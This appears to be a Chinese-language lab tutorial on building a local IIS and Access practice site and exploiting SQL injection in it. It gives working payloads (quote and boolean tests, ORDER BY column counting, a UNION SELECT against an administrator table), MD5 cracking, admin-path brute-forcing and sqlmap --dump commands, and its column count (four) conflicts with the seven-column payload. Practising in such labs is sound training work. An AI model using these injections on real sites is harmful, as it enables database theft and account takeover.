access手工注入靶场（附环境搭建）

环境搭建

先在电脑的搜索框中搜索IIS

如果有则直接使用如果没有则在搜索框中搜索添加或删除程序

进入后点击右边的程序和功能

进入后点击启用或关闭windows功能

选中net3.5和net4.8

继续如图所示选中图中选中的内容

点击确定后即可使用IIS服务器

打开IIS服务器

点击图中的浏览打开网站根目录

将靶场的压缩包解压到当前的根目录下（一键三连截图私聊发靶场压缩包）

点击服务器主页下的IIS下的ASP

将错误发送到浏览器改为‘True’   将启用父路径改为‘True’

点击应用池下的网站的高级设置

将启用32位应用程序改为‘True’

点击绑定，添加

访问IIS服务器绑定的IP地址，即可访问网站靶场。

输入id=1'报错

输入id=1 and 1=1正常

输入id=1 and 1=2报错

判断为数字型

判断字段列数，输入order by 4正常   ，输入order by 5 不正常，判断为4列

news_view.asp?id=14 union select 1,user_name,3,4,5,6,7 from administrator显示正常说明存在这一列

密码进⾏md5解密 并去后台登录 后台地址爆破⼀下

方法二：

用sqlmap工具跑注入点

如下图证明存在sql注入

--tables查表，因为access没有库只有表

使用-T products --dump查数据